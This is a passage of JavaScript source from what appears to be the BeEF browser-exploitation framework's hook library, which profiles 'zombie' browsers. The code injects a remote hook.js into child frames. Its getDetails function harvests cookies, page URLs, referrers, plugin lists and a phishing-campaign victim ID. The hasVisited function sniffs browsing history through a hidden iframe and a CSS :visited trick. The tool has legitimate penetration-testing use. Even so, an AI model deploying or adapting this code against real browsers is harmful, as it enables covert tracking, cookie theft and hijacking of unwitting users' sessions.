  5079.         return 'UNKNOWN';   // Unknown UA
  5080.     },
  5081.  
  5082.     /**
  5083.      * Hooks all child frames in the current window
  5084.      * Restricted by same-origin policy
  5085.      */
  5086.     hookChildFrames: function () {
  5087.  
  5088.         // create script object
  5089.         var script = document.createElement('script');
  5090.         script.type = 'text/javascript';
  5091.         script.src = 'http://127.0.0.1:3000/hook.js';
  5092.  
  5093.         // loop through child frames
  5094.         for (var i = 0; i < self.frames.length; i++) {
  5095.             try {
  5096.                 // append hook script
  5097.                 self.frames[i].document.body.appendChild(script);
  5098.                 beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
  5099.             } catch (e) {
  5100.                 // warn on cross-origin
  5101.                 beef.debug("Hooking child frame failed: " + e.message);
  5102.             }
  5103.         }
  5104.     },
  5105.  
  5106.     /**
  5107.      * Checks if the zombie has flash installed and enabled.
  5108.      * @return: {Boolean} true or false.
  5109.      *
  5110.      * @example: if(beef.browser.hasFlash()) { ... }
  5111.      */
  5112.     hasFlash: function () {
  5113.         if (!this.type().IE) {
  5114.             return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
  5115.         } else {
  5116.             flash_versions = 12;
  5117.             flash_installed = false;
  5118.  
  5119.  
  5120.             if (this.type().IE11) {
  5121.                 flash_installed = (navigator.plugins["Shockwave Flash"] != undefined);
  5122.             } else {
  5123.                 if (window.ActiveXObject != null) {
  5124.                     for (x = 2; x <= flash_versions; x++) {
  5125.                         try {
  5126.                             Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
  5127.                             if (Flash) {
  5128.                                 flash_installed = true;
  5129.                             }
  5130.                         } catch (e) {
  5131.                             beef.debug("Creating Flash ActiveX object failed: " + e.message);
  5132.                         }
  5133.                     }
  5134.                 }
  5135.             }
  5136.             return flash_installed;
  5137.         }
  5138.     },
  5139.  
  5140.     /**
  5141.      * Checks if the zombie has the QuickTime plugin installed.
  5142.      * @return: {Boolean} true or false.
  5143.      *
  5144.      * @example: if ( beef.browser.hasQuickTime() ) { ... }
  5145.      */
  5146.     hasQuickTime: function () {
  5147.  
  5148.         var quicktime = false;
  5149.  
  5150.         if (this.capabilities()["navigator.plugins"]) {
  5151.  
  5152.             for (i = 0; i < navigator.plugins.length; i++) {
  5153.  
  5154.                 if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
  5155.                     quicktime = true;
  5156.                 }
  5157.  
  5158.             }
  5159.  
  5160.             // Has navigator.plugins
  5161.         } else {
  5162.  
  5163.             try {
  5164.  
  5165.                 var qt_test = new ActiveXObject('QuickTime.QuickTime');
  5166.  
  5167.             } catch (e) {
  5168.                 beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
  5169.             }
  5170.  
  5171.             if (qt_test) {
  5172.                 quicktime = true;
  5173.             }
  5174.  
  5175.         }
  5176.  
  5177.         return quicktime;
  5178.  
  5179.     },
  5180.  
  5181.     /**
  5182.      * Checks if the zombie has the RealPlayer plugin installed.
  5183.      * @return: {Boolean} true or false.
  5184.      *
  5185.      * @example: if ( beef.browser.hasRealPlayer() ) { ... }
  5186.      */
  5187.     hasRealPlayer: function () {
  5188.  
  5189.         var realplayer = false;
  5190.  
  5191.         if (this.capabilities()["navigator.plugins"]) {
  5192.  
  5193.  
  5194.             for (i = 0; i < navigator.plugins.length; i++) {
  5195.  
  5196.                 if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
  5197.                     realplayer = true;
  5198.                 }
  5199.  
  5200.             }
  5201.  
  5202.             // has navigator.plugins
  5203.         } else {
  5204.  
  5205.             var definedControls = [
  5206.                 'RealPlayer',
  5207.                 'rmocx.RealPlayer G2 Control',
  5208.                 'rmocx.RealPlayer G2 Control.1',
  5209.                 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
  5210.                 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
  5211.             ];
  5212.  
  5213.             for (var i = 0; i < definedControls.length; i++) {
  5214.  
  5215.                 try {
  5216.                     var rp_test = new ActiveXObject(definedControls[i]);
  5217.                 } catch (e) {
  5218.                     beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
  5219.                 }
  5220.  
  5221.                 if (rp_test) {
  5222.                     realplayer = true;
  5223.  
  5224.                 }
  5225.             }
  5226.         }
  5227.  
  5228.         return realplayer;
  5229.  
  5230.     },
  5231.  
  5232.     /**
  5233.      * Checks if the zombie has the Windows Media Player plugin installed.
  5234.      * @return: {Boolean} true or false.
  5235.      *
  5236.      * @example: if ( beef.browser.hasWMP() ) { ... }
  5237.      */
  5238.     hasWMP: function () {
  5239.  
  5240.         var wmp = false;
  5241.  
  5242.         if (this.capabilities()["navigator.plugins"]) {
  5243.  
  5244.  
  5245.             for (i = 0; i < navigator.plugins.length; i++) {
  5246.  
  5247.                 if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
  5248.                     wmp = true;
  5249.                 }
  5250.  
  5251.             }
  5252.  
  5253.             // Has navigator.plugins
  5254.         } else {
  5255.  
  5256.             try {
  5257.  
  5258.                 var wmp_test = new ActiveXObject('WMPlayer.OCX');
  5259.  
  5260.             } catch (e) {
  5261.                 beef.debug("Creating WMP ActiveX object failed: " + e.message);
  5262.             }
  5263.  
  5264.             if (wmp_test) {
  5265.                 wmp = true;
  5266.             }
  5267.  
  5268.         }
  5269.  
  5270.         return wmp;
  5271.  
  5272.     },
  5273.  
  5274.     /**
  5275.      *  Checks if VLC is installed
  5276.      *  @return: {Boolean} true or false
  5277.      **/
  5278.     hasVLC: function () {
  5279.         var vlc = false;
  5280.         if (!this.type().IE) {
  5281.             for (i = 0; i < navigator.plugins.length; i++) {
  5282.                 if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
  5283.                     vlc = true;
  5284.                 }
  5285.             }
  5286.         } else {
  5287.             try {
  5288.                 control = new ActiveXObject("VideoLAN.VLCPlugin.2");
  5289.                 vlc = true;
  5290.             } catch (e) {
  5291.                 beef.debug("Creating VLC ActiveX object failed: " + e.message);
  5292.             }
  5293.         }
  5294.         return vlc;
  5295.     },
  5296.  
  5297.     /**
  5298.      * Checks if the zombie has Java enabled.
  5299.      * @return: {Boolean} true or false.
  5300.      *
  5301.      * @example: if(beef.browser.javaEnabled()) { ... }
  5302.      */
  5303.     javaEnabled: function () {
  5304.  
  5305.         return navigator.javaEnabled();
  5306.  
  5307.     },
  5308.  
  5309.     /**
  5310.      * Checks if the Phonegap API is available from the hooked origin.
  5311.      * @return: {Boolean} true or false.
  5312.      *
  5313.      * @example: if(beef.browser.hasPhonegap()) { ... }
  5314.      */
  5315.     hasPhonegap: function () {
  5316.         var result = false;
  5317.  
  5318.         try {
  5319.             if (!!device.phonegap || !!device.cordova) result = true; else result = false;
  5320.         }
  5321.         catch (e) {
  5322.             result = false;
  5323.         }
  5324.         return result;
  5325.     },
  5326.  
  5327.     /**
  5328.      * Checks if the browser supports CORS
  5329.      * @return: {Boolean} true or false.
  5330.      *
  5331.      * @example: if(beef.browser.hasCors()) { ... }
  5332.      */
  5333.     hasCors: function () {
  5334.         if ('withCredentials' in new XMLHttpRequest())
  5335.             return true;
  5336.         else if (typeof XDomainRequest !== "undefined")
  5337.             return true;
  5338.         else
  5339.             return false;
  5340.     },
  5341.  
  5342.     /**
  5343.      * Checks if the zombie has Java installed and enabled.
  5344.      * @return: {Boolean} true or false.
  5345.      *
  5346.      * @example: if(beef.browser.hasJava()) { ... }
  5347.      */
  5348.     hasJava: function () {
  5349.         if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
  5350.           return true;
  5351.         } else {
  5352.           return false;
  5353.         }
  5354.     },
  5355.  
  5356.     /**
  5357.      * Checks if the zombie has VBScript enabled.
  5358.      * @return: {Boolean} true or false.
  5359.      *
  5360.      * @example: if(beef.browser.hasVBScript()) { ... }
  5361.      */
  5362.     hasVBScript: function () {
  5363.         if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
  5364.             return true;
  5365.         } else {
  5366.             return false;
  5367.         }
  5368.     },
  5369.  
  5370.     /**
  5371.      * Returns the list of plugins installed in the browser.
  5372.      */
  5373.     getPlugins: function () {
  5374.  
  5375.         var results;
  5376.         Array.prototype.unique = function () {
  5377.             var o = {}, i, l = this.length, r = [];
  5378.             for (i = 0; i < l; i += 1) o[this[i]] = this[i];
  5379.             for (i in o) r.push(o[i]);
  5380.             return r;
  5381.         };
  5382.  
  5383.         // Things lacking navigator.plugins
  5384.         if (!this.capabilities()["navigator.plugins"]) this.getPluginsIE();
  5385.  
  5386.         // All other browsers that support navigator.plugins
  5387.         else if (navigator.plugins && navigator.plugins.length > 0) {
  5388.             results = new Array();
  5389.             for (var i = 0; i < navigator.plugins.length; i++) {
  5390.  
  5391.                 // Firefox returns exact plugin versions
  5392.                 if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
  5393.  
  5394.                 // Webkit and Presto (Opera)
  5395.                 // Don't support the version attribute
  5396.                 // Sometimes store the version in description (Real, Adobe)
  5397.                 else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
  5398.             }
  5399.             results = results.unique().toString();
  5400.  
  5401.             // All browsers that don't support navigator.plugins
  5402.         } else {
  5403.             results = new Array();
  5404.             //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
  5405.             // On linux sistem the "version" slot is empty so I'll attach "description" after version
  5406.             var plugins = {
  5407.  
  5408.                 'AdobeAcrobat': {
  5409.                     'control': 'Adobe Acrobat',
  5410.                     'return': function (control) {
  5411.                         try {
  5412.                             version = navigator.plugins["Adobe Acrobat"]["description"];
  5413.                             return 'Adobe Acrobat Version  ' + version; //+ " description "+ filename;
  5414.  
  5415.                         }
  5416.                         catch (e) {
  5417.                         }
  5418.  
  5419.  
  5420.                     }},
  5421.                 'Flash': {
  5422.                     'control': 'Shockwave Flash',
  5423.                     'return': function (control) {
  5424.                         try {
  5425.                             version = navigator.plugins["Shockwave Flash"]["description"];
  5426.                             return 'Flash Player Version ' + version; //+ " description "+ filename;
  5427.                         }
  5428.  
  5429.                         catch (e) {
  5430.                         }
  5431.                     }},
  5432.                 'Google_Talk_Plugin_Accelerator': {
  5433.                     'control': 'Google Talk Plugin Video Accelerator',
  5434.                     'return': function (control) {
  5435.  
  5436.                         try {
  5437.                             version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
  5438.                             return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
  5439.                         }
  5440.                         catch (e) {
  5441.                         }
  5442.                     }},
  5443.                 'Google_Talk_Plugin': {
  5444.                     'control': 'Google Talk Plugin',
  5445.                     'return': function (control) {
  5446.                         try {
  5447.                             version = navigator.plugins['Google Talk Plugin']["description"];
  5448.                             return 'Google Talk Plugin Version ' + version;// " description "+ filename;
  5449.                         }
  5450.                         catch (e) {
  5451.                         }
  5452.                     }},
  5453.                 'Facebook_Video_Calling_Plugin': {
  5454.                     'control': 'Facebook Video Calling Plugin',
  5455.                     'return': function (control) {
  5456.                         try {
  5457.                             version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
  5458.                             return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
  5459.                         }
  5460.                         catch (e) {
  5461.                         }
  5462.                     }},
  5463.                 'Google_Update': {
  5464.                     'control': 'Google Update',
  5465.                     'return': function (control) {
  5466.                         try {
  5467.                             version = navigator.plugins["Google Update"]["description"];
  5468.                             return 'Google Update Version ' + version//+ " description "+ filename;
  5469.                         }
  5470.                         catch (e) {
  5471.                         }
  5472.                     }},
  5473.                 'Windows_Activation_Technologies': {
  5474.                     'control': 'Windows Activation Technologies',
  5475.                     'return': function (control) {
  5476.                         try {
  5477.                             version = navigator.plugins["Windows Activation Technologies"]["description"];
  5478.                             return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
  5479.                         }
  5480.                         catch (e) {
  5481.                         }
  5482.  
  5483.                     }},
  5484.                 'VLC_Web_Plugin': {
  5485.                     'control': 'VLC Web Plugin',
  5486.                     'return': function (control) {
  5487.                         try {
  5488.                             version = navigator.plugins["VLC Web Plugin"]["description"];
  5489.                             return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
  5490.                         }
  5491.                         catch (e) {
  5492.                         }
  5493.                     }},
  5494.                 'Google_Earth_Plugin': {
  5495.                     'control': 'Google Earth Plugin',
  5496.  
  5497.                     'return': function (control) {
  5498.                         try {
  5499.                             version = navigator.plugins['Google Earth Plugin']["description"];
  5500.                             return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
  5501.                         }
  5502.                         catch (e) {
  5503.                         }
  5504.                     }},
  5505.                 'FoxitReader_Plugin': {
  5506.                     'control': 'FoxitReader Plugin',
  5507.                     'return': function (control) {
  5508.                         try {
  5509.                             version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
  5510.                             return 'FoxitReader Plugin Version ' + version;
  5511.                         } catch (e) {
  5512.                         }
  5513.                     }}
  5514.             };
  5515.  
  5516.             var c = 0;
  5517.             for (var i in plugins) {
  5518.                 //each element od plugins
  5519.                 var control = plugins[i]['control'];
  5520.                 try {
  5521.                     var version = plugins[i]['return'](control);
  5522.                     if (version) {
  5523.                         results[c] = version;
  5524.                         c = c + 1;
  5525.                     }
  5526.                 }
  5527.                 catch (e) {
  5528.                 }
  5529.  
  5530.             }
  5531.         }
  5532.         // Return results
  5533.         return results;
  5534.     },
  5535.  
  5536.     /**
  5537.      * Returns a list of plugins detected by IE. This is a hack because IE doesn't
  5538.      * support navigator.plugins
  5539.      */
  5540.     getPluginsIE: function () {
  5541.         var results = '';
  5542.         var plugins = {'AdobePDF6': {
  5543.             'control': 'PDF.PdfCtrl',
  5544.             'return': function (control) {
  5545.                 version = control.getVersions().split(',');
  5546.                 version = version[0].split('=');
  5547.                 return 'Acrobat Reader v' + parseFloat(version[1]);
  5548.             }},
  5549.             'AdobePDF7': {
  5550.                 'control': 'AcroPDF.PDF',
  5551.                 'return': function (control) {
  5552.                     version = control.getVersions().split(',');
  5553.                     version = version[0].split('=');
  5554.                     return 'Acrobat Reader v' + parseFloat(version[1]);
  5555.                 }},
  5556.             'Flash': {
  5557.                 'control': 'ShockwaveFlash.ShockwaveFlash',
  5558.                 'return': function (control) {
  5559.                     version = control.getVariable('$version').substring(4);
  5560.                     return 'Flash Player v' + version.replace(/,/g, ".");
  5561.                 }},
  5562.             'Quicktime': {
  5563.                 'control': 'QuickTime.QuickTime',
  5564.                 'return': function (control) {
  5565.                     return 'QuickTime Player';
  5566.                 }},
  5567.             'RealPlayer': {
  5568.                 'control': 'RealPlayer',
  5569.                 'return': function (control) {
  5570.                     version = control.getVersionInfo();
  5571.                     return 'RealPlayer v' + parseFloat(version);
  5572.                 }},
  5573.             'Shockwave': {
  5574.                 'control': 'SWCtl.SWCtl',
  5575.                 'return': function (control) {
  5576.                     version = control.ShockwaveVersion('').split('r');
  5577.                     return 'Shockwave v' + parseFloat(version[0]);
  5578.                 }},
  5579.             'WindowsMediaPlayer': {
  5580.                 'control': 'WMPlayer.OCX',
  5581.                 'return': function (control) {
  5582.                     return 'Windows Media Player v' + parseFloat(control.versionInfo);
  5583.                 }},
  5584.             'FoxitReaderPlugin': {
  5585.                 'control': 'FoxitReader.FoxitReaderCtl.1',
  5586.                 'return': function (control) {
  5587.                     return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
  5588.                 }}
  5589.         };
  5590.         if (window.ActiveXObject) {
  5591.             var j = 0;
  5592.             for (var i in plugins) {
  5593.                 var control = null;
  5594.                 var version = null;
  5595.                 try {
  5596.                     control = new ActiveXObject(plugins[i]['control']);
  5597.                 } catch (e) {
  5598.                 }
  5599.                 if (control) {
  5600.                     if (j != 0)
  5601.                         results += ', ';
  5602.                     results += plugins[i]['return'](control);
  5603.                     j++;
  5604.                 }
  5605.             }
  5606.         }
  5607.         return results;
  5608.     },
  5609.  
  5610.     /**
  5611.      * Returns zombie screen size and color depth.
  5612.      */
  5613.     getScreenSize: function () {
  5614.         return {
  5615.             width: window.screen.width,
  5616.             height: window.screen.height,
  5617.             colordepth: window.screen.colorDepth
  5618.         }
  5619.     },
  5620.  
  5621.     /**
  5622.      * Returns zombie browser window size.
  5623.      * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
  5624.      */
  5625.     getWindowSize: function () {
  5626.         var myWidth = 0, myHeight = 0;
  5627.         if (typeof( window.innerWidth ) == 'number') {
  5628.             // Non-IE
  5629.             myWidth = window.innerWidth;
  5630.             myHeight = window.innerHeight;
  5631.         } else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {
  5632.             // IE 6+ in 'standards compliant mode'
  5633.             myWidth = document.documentElement.clientWidth;
  5634.             myHeight = document.documentElement.clientHeight;
  5635.         } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
  5636.             // IE 4 compatible
  5637.             myWidth = document.body.clientWidth;
  5638.             myHeight = document.body.clientHeight;
  5639.         }
  5640.         return {
  5641.             width: myWidth,
  5642.             height: myHeight
  5643.         }
  5644.     },
  5645.  
  5646.     /**
  5647.      * Construct hash from browser details. This function is used to grab the browser details during the hooking process
  5648.      */
  5649.     getDetails: function () {
  5650.         var details = new Array();
  5651.  
  5652.         var browser_name = beef.browser.getBrowserName();
  5653.         var browser_version = beef.browser.getBrowserVersion();
  5654.         var browser_reported_name = beef.browser.getBrowserReportedName();
  5655.         var browser_language = beef.browser.getBrowserLanguage();
  5656.         var page_title = (document.title) ? document.title : "Unknown";
  5657.         var page_uri = (document.location.href) ? document.location.href : "Unknown";
  5658.         var page_referrer = (document.referrer) ? document.referrer : "Unknown";
  5659.         var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
  5660.         switch (document.location.protocol) {
  5661.             case "http:":
  5662.                 var default_port = "80";
  5663.                 break;
  5664.             case "https:":
  5665.                 var default_port = "443";
  5666.                 break
  5667.             default:
  5668.                 var default_port = "";
  5669.         }
  5670.         var hostport = (document.location.port) ? document.location.port : default_port;
  5671.         var browser_plugins = beef.browser.getPlugins();
  5672.         var date_stamp = new Date().toString();
  5673.         var os_name = beef.os.getName();
  5674.         var os_version = beef.os.getVersion();
  5675.         var default_browser = beef.os.getDefaultBrowser();
  5676.         var hw_name = beef.hardware.getName();
  5677.         var cpu_type = beef.hardware.cpuType();
  5678.         var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
  5679.         var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
  5680.         var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {
  5681.             if (value == true) return value; else if (value == null) return; else if (typeof value == 'object') return value; else return;
  5682.         });
  5683.         var screen_size = beef.browser.getScreenSize();
  5684.         var window_size = beef.browser.getWindowSize();
  5685.         var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
  5686.         var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
  5687.         var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
  5688.         var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
  5689.         var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
  5690.         var has_web_worker = (beef.browser.hasWebWorker()) ? "Yes" : "No";
  5691.         var has_web_gl = (beef.browser.hasWebGL()) ? "Yes" : "No";
  5692.         var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
  5693.         var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
  5694.         var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
  5695.         var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
  5696.         var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
  5697.         try {
  5698.             var cookies = document.cookie;
  5699.             /* Never stop the madness dear C.
  5700.              * var veglol = beef.browser.cookie.veganLol();
  5701.              */
  5702.             if (cookies) details['Cookies'] = cookies;
  5703.         } catch (e) {
  5704.             details['Cookies'] = "Cookies can't be read. The hooked origin is most probably using HttpOnly.";
  5705.         }
  5706.  
  5707.         if (browser_name) details['BrowserName'] = browser_name;
  5708.         if (browser_version) details['BrowserVersion'] = browser_version;
  5709.         if (browser_reported_name) details['BrowserReportedName'] = browser_reported_name;
  5710.         if (browser_language) details['BrowserLanguage'] = browser_language;
  5711.         if (page_title) details['PageTitle'] = page_title;
  5712.         if (page_uri) details['PageURI'] = page_uri;
  5713.         if (page_referrer) details['PageReferrer'] = page_referrer;
  5714.         if (hostname) details['HostName'] = hostname;
  5715.         if (hostport) details['HostPort'] = hostport;
  5716.         if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
  5717.         if (os_name) details['OsName'] = os_name;
  5718.         if (os_version) details['OsVersion'] = os_version;
  5719.         if (default_browser) details['DefaultBrowser'] = default_browser;
  5720.         if (hw_name) details['Hardware'] = hw_name;
  5721.         if (cpu_type) details['CPU'] = cpu_type;
  5722.         if (touch_enabled) details['TouchEnabled'] = touch_enabled;
  5723.         if (date_stamp) details['DateStamp'] = date_stamp;
  5724.         if (browser_platform) details['BrowserPlatform'] = browser_platform;
  5725.         if (browser_type) details['BrowserType'] = browser_type;
  5726.         if (screen_size) details['ScreenSize'] = screen_size;
  5727.         if (window_size) details['WindowSize'] = window_size;
  5728.         if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled;
  5729.         if (has_flash) details['HasFlash'] = has_flash;
  5730.         if (has_phonegap) details['HasPhonegap'] = has_phonegap;
  5731.         if (has_web_socket) details['HasWebSocket'] = has_web_socket;
  5732.         if (has_web_worker) details['HasWebWorker'] = has_web_worker;
  5733.         if (has_web_gl) details['HasWebGL'] = has_web_gl;
  5734.         if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
  5735.         if (has_webrtc) details['HasWebRTC'] = has_webrtc;
  5736.         if (has_activex) details['HasActiveX'] = has_activex;
  5737.         if (has_quicktime) details['HasQuickTime'] = has_quicktime;
  5738.         if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
  5739.         if (has_wmp) details['HasWMP'] = has_wmp;
  5740.  
  5741.         var pf_integration = "";
  5742.         if (pf_integration) {
  5743.             var pf_param = "uid";
  5744.             var pf_victim_uid = "";
  5745.             var location_search = window.location.search.substring(1);
  5746.             var params = location_search.split('&');
  5747.             for (var i = 0; i < params.length; i++) {
  5748.                 var param_entry = params[i].split('=');
  5749.                 if (param_entry[0] == pf_param) {
  5750.                     pf_victim_uid = param_entry[1];
  5751.                     details['PhishingFrenzyUID'] = pf_victim_uid;
  5752.                     break;
  5753.                 }
  5754.             }
  5755.         } else {
  5756.             details['PhishingFrenzyUID'] = "N/A";
  5757.         }
  5758.  
  5759.         return details;
  5760.     },
  5761.  
  5762.     /**
  5763.      * Returns boolean value depending on whether the browser supports ActiveX
  5764.      */
  5765.     hasActiveX: function () {
  5766.         return !!window.ActiveXObject;
  5767.     },
  5768.  
  5769.     /**
  5770.      * Returns boolean value depending on whether the browser supports WebRTC
  5771.      */
  5772.     hasWebRTC: function () {
  5773.         return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
  5774.     },
  5775.  
  5776.     /**
  5777.      * Returns boolean value depending on whether the browser supports Silverlight
  5778.      */
  5779.     hasSilverlight: function () {
  5780.         var result = false;
  5781.  
  5782.         try {
  5783.             if (beef.browser.isIE()) {
  5784.                 var slControl = new ActiveXObject('AgControl.AgControl');
  5785.                 result = true;
  5786.             } else if (navigator.plugins["Silverlight Plug-In"]) {
  5787.                 result = true;
  5788.             }
  5789.         } catch (e) {
  5790.             result = false;
  5791.         }
  5792.  
  5793.         return result;
  5794.     },
  5795.  
  5796.     /**
  5797.      * Returns array of results, whether or not the target zombie has visited the specified URL
  5798.      */
  5799.     hasVisited: function (urls) {
  5800.         var results = new Array();
  5801.         var iframe = beef.dom.createInvisibleIframe();
  5802.         var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
  5803.         ifdoc.open();
  5804.         ifdoc.write('<style>a:visited{width:0px !important;}</style>');
  5805.         ifdoc.close();
  5806.         urls = urls.split("\n");
  5807.         var count = 0;
  5808.         for (var i in urls) {
  5809.             var u = urls[i];
  5810.             if (u != "" || u != null) {
  5811.                 var success = false;
  5812.                 var a = ifdoc.createElement('a');
  5813.                 a.href = u;
  5814.                 ifdoc.body.appendChild(a);
  5815.                 var width = null;
  5816.                 (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
  5817.                 if (width == '0px') {
  5818.                     success = true;
  5819.                 }
  5820.                 results.push({'url': u, 'visited': success});
  5821.                 count++;
  5822.             }
  5823.         }
  5824.         beef.dom.removeElement(iframe);
  5825.         if (results.length == 0) {
  5826.             return false;
  5827.         }
  5828.         return results;
  5829.     },
  5830.  
  5831.     /**
  5832.      * Checks if the zombie has Web Sockets enabled.
  5833.      * @return: {Boolean} true or false.
  5834.      * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
  5835.      * */
  5836.     hasWebSocket: function () {
  5837.         return !!window.WebSocket || !!window.MozWebSocket;
  5838.     },
  5839.  
  5840.     /**
  5841.      * Checks if the zombie has Web Workers enabled.
  5842.      * @return: {Boolean} true or false.
  5843.      * */
  5844.     hasWebWorker: function () {
  5845.         return (typeof(Worker) !== "undefined");
  5846.     },
  5847.  
  5848.     /**
  5849.      * Checks if the zombie has WebGL enabled.
  5850.      * @return: {Boolean} true or false.
  5851.      *
  5852.      * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js
  5853.      * */
  5854.     hasWebGL: function () {
  5855.       try {
  5856.         var canvas = document.createElement("canvas");
  5857.         var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
  5858.         return !!(gl && gl instanceof WebGLRenderingContext);
  5859.       } catch(e) {
  5860.         return false;
  5861.       }
  5862.     },
  5863.  
  5864.     /**
  5865.      * Checks if the zombie has Google Gears installed.
  5866.      * @return: {Boolean} true or false.
  5867.      *
  5868.      * @from: https://code.google.com/apis/gears/gears_init.js
  5869.      * */
  5870.     hasGoogleGears: function () {
  5871.  
  5872.         var ggfactory = null;
  5873.  
  5874.         // Chrome
  5875.         if (window.google && google.gears) return true;
  5876.  
  5877.         // Firefox
  5878.         if (typeof GearsFactory != 'undefined') {
  5879.             ggfactory = new GearsFactory();
  5880.         } else {
  5881.             // IE
  5882.             try {
  5883.                 ggfactory = new ActiveXObject('Gears.Factory');
  5884.                 // IE Mobile on WinCE.
  5885.                 if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
  5886.                     ggfactory.privateSetGlobalObject(this);
  5887.                 }
  5888.             } catch (e) {
  5889.                 // Safari
  5890.                 if ((typeof navigator.mimeTypes != 'undefined')
  5891.                     && navigator.mimeTypes["application/x-googlegears"]) {
  5892.                     ggfactory = document.createElement("object");
  5893.                     ggfactory.style.display = "none";
  5894.                     ggfactory.width = 0;
  5895.                     ggfactory.height = 0;
  5896.                     ggfactory.type = "application/x-googlegears";
  5897.                     document.documentElement.appendChild(ggfactory);
  5898.                     if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
  5899.                 }
  5900.             }
  5901.         }
  5902.         if (!ggfactory) return false; else return true;
  5903.     },
  5904.  
  5905.     /**
  5906.      * Checks if the zombie has Foxit PDF reader plugin.
  5907.      * @return: {Boolean} true or false.
  5908.      *
  5909.      * @example: if(beef.browser.hasFoxit()) { ... }
  5910.      * */
  5911.     hasFoxit: function () {
  5912.  
  5913.         var foxitplugin = false;
  5914.  
  5915.         try {
  5916.             if (beef.browser.isIE()) {
  5917.                 var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
  5918.                 foxitplugin = true;
  5919.             } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
  5920.                 foxitplugin = true;
  5921.             }
  5922.         } catch (e) {
  5923.             foxitplugin = false;
  5924.         }
  5925.  
  5926.         return foxitplugin;
  5927.     },
  5928.  
  5929.     /**
  5930.      * Returns the page head HTML
  5931.      **/
  5932.     getPageHead: function () {
  5933.         var html_head;
  5934.         try {
  5935.             html_head = document.head.innerHTML.toString();
  5936.         } catch (e) {
  5937.         }
  5938.         return html_head;
  5939.     },
  5940.  
  5941.     /**
  5942.      * Returns the page body HTML
  5943.      **/
  5944.     getPageBody: function () {
  5945.         var html_body;
  5946.         try {
  5947.             html_body = document.body.innerHTML.toString();
  5948.         } catch (e) {
  5949.         }
  5950.         return html_body;
  5951.     },
  5952.  
  5953.     /**
  5954.      * Dynamically changes the favicon: works in Firefox, Chrome and Opera
  5955.      **/
  5956.     changeFavicon: function (favicon_url) {
  5957.         var iframe = null;
  5958.         if (this.isC()) {
  5959.             iframe = document.createElement('iframe');
  5960.             iframe.src = 'about:blank';
  5961.             iframe.style.display = 'none';
  5962.             document.body.appendChild(iframe);
  5963.         }
  5964.         var link = document.createElement('link'),
  5965.             oldLink = document.getElementById('dynamic-favicon');
  5966.         link.id = 'dynamic-favicon';
  5967.         link.rel = 'shortcut icon';
  5968.         link.href = favicon_url;
  5969.         if (oldLink) document.head.removeChild(oldLink);
  5970.         document.head.appendChild(link);
  5971.         if (this.isC()) iframe.src += '';
  5972.     },
  5973.  
  5974.     /**
  5975.      * Changes page title
  5976.      **/
  5977.     changePageTitle: function (title) {
  5978.         document.title = title;
  5979.     },
  5980.  
  5981.     /**
  5982.      * Get the browser language
  5983.      */
  5984.     getBrowserLanguage: function () {
  5985.         var l = 'Unknown';
  5986.         try {
  5987.             l = window.navigator.userLanguage || window.navigator.language;
  5988.         } catch (e) {
  5989.         }
  5990.         return l;
  5991.     },
